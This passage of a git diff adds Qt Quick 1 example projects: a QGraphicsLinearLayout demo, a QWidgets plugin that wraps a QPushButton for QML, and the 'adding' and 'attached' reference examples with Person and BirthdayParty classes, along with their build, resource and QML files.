+ qmlRegisterInterface<QGraphicsLayoutItem>("QGraphicsLayoutItem");
+ qmlRegisterInterface<QGraphicsLayout>("QGraphicsLayout");
+ qmlRegisterType<GraphicsLinearLayoutStretchItemObject>("LinearLayouts", 4, 7, "GraphicsLinearLayoutStretchItem");
+ qmlRegisterType<GraphicsLinearLayoutObject>("LinearLayouts", 4, 7, "GraphicsLinearLayout");
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile("qml/qgraphicslinearlayout/qgraphicslinearlayout.qml");
+ viewer.showExpanded();
+
+ return app.exec();
+}
+
+
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro
new file mode 100644
index 00000000..52955e8a
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qgraphicslinearlayout.pro
@@ -0,0 +1,47 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/qgraphicslinearlayout
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE7D233DA
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += \
+ linearlayout.cpp \
+ main.cpp
+
+HEADERS += \
+ linearlayout.h
+
+RESOURCES += \
+ linearlayout.qrc
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qml/qgraphicslinearlayout/qgraphicslinearlayout.qml b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qml/qgraphicslinearlayout/qgraphicslinearlayout.qml
new file mode 100644
index 00000000..44ac3c8a
--- /dev/null
+++ b/examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/qml/qgraphicslinearlayout/qgraphicslinearlayout.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import LinearLayouts 4.7
+
+Item {
+ width: 400
+ height: 400
+
+ QGraphicsWidget {
+ size.width: parent.width
+ size.height: parent.height
+
+ /*
+ Below we create a linear layout using the GraphicsLinearLayout item
+ (defined by the GraphicsLinearLayoutObject class in linearlayout.h).
+
+ The first LayoutItem uses 'GraphicsLinearLayout.spacing' to set the
+ item's spacing: this is an attached property, set using the
+ properties defined in the LinearLayoutAttached class (also defined
+ in linearlayout.h).
+ */
+
+ layout: GraphicsLinearLayout {
+ LayoutItem {
+ GraphicsLinearLayout.spacing: 50
+ minimumSize: "100x100"
+ maximumSize: "200x200"
+ preferredSize: "100x100"
+ Rectangle { color: "yellow"; anchors.fill: parent }
+ }
+ LayoutItem {
+ minimumSize: "100x100"
+ maximumSize: "400x400"
+ preferredSize: "300x300"
+ Rectangle { color: "green"; anchors.fill: parent }
+ }
+ }
+ }
+}
+
diff --git a/examples/declarative/cppextensions/qwidgets/QWidgets/qmldir b/examples/declarative/cppextensions/qwidgets/QWidgets/qmldir
new file mode 100644
index 00000000..a7c1d95c
--- /dev/null
+++ b/examples/declarative/cppextensions/qwidgets/QWidgets/qmldir
@@ -0,0 +1 @@
+plugin qmlqwidgetsplugin
diff --git a/examples/declarative/cppextensions/qwidgets/README b/examples/declarative/cppextensions/qwidgets/README
new file mode 100644
index 00000000..e2f1b2ba
--- /dev/null
+++ b/examples/declarative/cppextensions/qwidgets/README
@@ -0,0 +1,6 @@
+This example shows how to embed QWidget-based objects into QML.
+
+To run:
+
+ make install
+ qml qwidgets.qml
diff --git a/examples/declarative/cppextensions/qwidgets/qwidgets.cpp b/examples/declarative/cppextensions/qwidgets/qwidgets.cpp
new file mode 100644
index 00000000..7781f126
--- /dev/null
+++ b/examples/declarative/cppextensions/qwidgets/qwidgets.cpp
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+#include <QtDeclarative/qdeclarative.h>
+#include <QtGui/QGraphicsProxyWidget>
+#include <QtGui/QPushButton>
+#include <QDebug>
+
+class MyPushButton : public QGraphicsProxyWidget
+{
+ Q_OBJECT
+ Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
+
+public:
+ MyPushButton(QGraphicsItem* parent = 0)
+ : QGraphicsProxyWidget(parent)
+ {
+ widget = new QPushButton("MyPushButton");
+ widget->setAttribute(Qt::WA_NoSystemBackground);
+ setWidget(widget);
+
+ QObject::connect(widget, SIGNAL(clicked(bool)), this, SIGNAL(clicked(bool)));
+ }
+
+ QString text() const
+ {
+ return widget->text();
+ }
+
+ void setText(const QString& text)
+ {
+ if (text != widget->text()) {
+ widget->setText(text);
+ emit textChanged();
+ }
+ }
+
+Q_SIGNALS:
+ void clicked(bool);
+ void textChanged();
+
+private:
+ QPushButton *widget;
+};
+
+class QWidgetsPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ void registerTypes(const char *uri)
+ {
+ qmlRegisterType<MyPushButton>(uri, 1, 0, "MyPushButton");
+ }
+};
+
+#include "qwidgets.moc"
+
+Q_EXPORT_PLUGIN2(qmlqwidgetsplugin, QWidgetsPlugin);
diff --git a/examples/declarative/cppextensions/qwidgets/qwidgets.pro b/examples/declarative/cppextensions/qwidgets/qwidgets.pro
new file mode 100644
index 00000000..d2721808
--- /dev/null
+++ b/examples/declarative/cppextensions/qwidgets/qwidgets.pro
@@ -0,0 +1,25 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+DESTDIR = QWidgets
+TARGET = qmlqwidgetsplugin
+
+SOURCES += qwidgets.cpp
+
+sources.files += qwidgets.pro qwidgets.cpp qwidgets.qml
+sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/plugins
+target.path += $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/plugins
+
+INSTALLS += sources target
+
+symbian:{
+ include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
+ TARGET.EPOCALLOWDLLDATA = 1
+
+ importFiles.files = QWidgets/qmlqwidgetsplugin.dll QWidgets/qmldir
+ importFiles.path = QWidgets
+
+ DEPLOYMENT += importFiles
+}
+maemo5: include($$QT_SOURCE_TREE/examples/maemo5pkgrules.pri)
diff --git a/examples/declarative/cppextensions/qwidgets/qwidgets.qml b/examples/declarative/cppextensions/qwidgets/qwidgets.qml
new file mode 100644
index 00000000..cd7bf616
--- /dev/null
+++ b/examples/declarative/cppextensions/qwidgets/qwidgets.qml
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "QWidgets" 1.0
+
+Rectangle {
+ id: window
+
+ property int margin: 30
+
+ width: 640; height: 480
+ color: palette.window
+
+ SystemPalette { id: palette }
+
+ MyPushButton {
+ id: button1
+ x: margin; y: margin
+ text: "Right"
+ transformOriginPoint: Qt.point(width / 2, height / 2)
+
+ onClicked: window.state = "right"
+ }
+
+ MyPushButton {
+ id: button2
+ x: margin; y: margin + 30
+ text: "Bottom"
+ transformOriginPoint: Qt.point(width / 2, height / 2)
+
+ onClicked: window.state = "bottom"
+ }
+
+ MyPushButton {
+ id: button3
+ x: margin; y: margin + 60
+ text: "Quit"
+ transformOriginPoint: Qt.point(width / 2, height / 2)
+
+ onClicked: Qt.quit()
+ }
+
+ states: [
+ State {
+ name: "right"
+ PropertyChanges { target: button1; x: window.width - width - margin; text: "Left"; onClicked: window.state = "" }
+ PropertyChanges { target: button2; x: window.width - width - margin }
+ PropertyChanges { target: button3; x: window.width - width - margin }
+ PropertyChanges { target: window; color: Qt.darker(palette.window) }
+ },
+ State {
+ name: "bottom"
+ PropertyChanges { target: button1; y: window.height - height - margin; rotation: 180 }
+ PropertyChanges {
+ target: button2
+ x: button1.x + button1.width + 10; y: window.height - height - margin
+ rotation: 180
+ text: "Top"
+ onClicked: window.state = ""
+ }
+ PropertyChanges { target: button3; x: button2.x + button2.width + 10; y: window.height - height - margin; rotation: 180 }
+ PropertyChanges { target: window; color: Qt.lighter(palette.window) }
+ }
+ ]
+
+ transitions: Transition {
+ ParallelAnimation {
+ NumberAnimation { properties: "x,y,rotation"; duration: 600; easing.type: Easing.OutQuad }
+ ColorAnimation { target: window; duration: 600 }
+ }
+ }
+}
diff --git a/examples/declarative/cppextensions/qwidgets/qwidgets.qmlproject b/examples/declarative/cppextensions/qwidgets/qwidgets.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/cppextensions/qwidgets/qwidgets.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/adding/adding.pro b/examples/declarative/cppextensions/referenceexamples/adding/adding.pro
new file mode 100644
index 00000000..b2acf0e4
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/adding/adding.pro
@@ -0,0 +1,15 @@
+TEMPLATE = app
+TARGET = adding
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp
+HEADERS += person.h
+RESOURCES += adding.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/adding
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS adding.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/adding
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/adding/adding.qrc b/examples/declarative/cppextensions/referenceexamples/adding/adding.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/adding/adding.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/adding/example.qml b/examples/declarative/cppextensions/referenceexamples/adding/example.qml
new file mode 100644
index 00000000..78d2b925
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/adding/example.qml
@@ -0,0 +1,48 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// ![0]
+import People 1.0
+
+Person {
+ name: "Bob Jones"
+ shoeSize: 12
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/adding/main.cpp b/examples/declarative/cppextensions/referenceexamples/adding/main.cpp
new file mode 100644
index 00000000..4d5e600f
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/adding/main.cpp
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+//![0]
+ qmlRegisterType<Person>("People", 1,0, "Person");
+//![0]
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ Person *person = qobject_cast<Person *>(component.create());
+ if (person) {
+ qWarning() << "The person's name is" << person->name();
+ qWarning() << "They wear a" << person->shoeSize() << "sized shoe";
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/adding/person.cpp b/examples/declarative/cppextensions/referenceexamples/adding/person.cpp
new file mode 100644
index 00000000..bdcfbd62
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/adding/person.cpp
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+// ![0]
+Person::Person(QObject *parent)
+: QObject(parent), m_shoeSize(0)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+int Person::shoeSize() const
+{
+ return m_shoeSize;
+}
+
+void Person::setShoeSize(int s)
+{
+ m_shoeSize = s;
+}
+
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/adding/person.h b/examples/declarative/cppextensions/referenceexamples/adding/person.h
new file mode 100644
index 00000000..f72755e8
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/adding/person.h
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+// ![0]
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ int shoeSize() const;
+ void setShoeSize(int);
+
+private:
+ QString m_name;
+ int m_shoeSize;
+};
+// ![0]
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/attached.pro b/examples/declarative/cppextensions/referenceexamples/attached/attached.pro
new file mode 100644
index 00000000..24488412
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/attached.pro
@@ -0,0 +1,17 @@
+TEMPLATE = app
+TARGET = attached
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += attached.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/attached
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS attached.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/attached
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/attached.qrc b/examples/declarative/cppextensions/referenceexamples/attached/attached.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/attached.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.cpp
new file mode 100644
index 00000000..b4bb30be
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.cpp
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
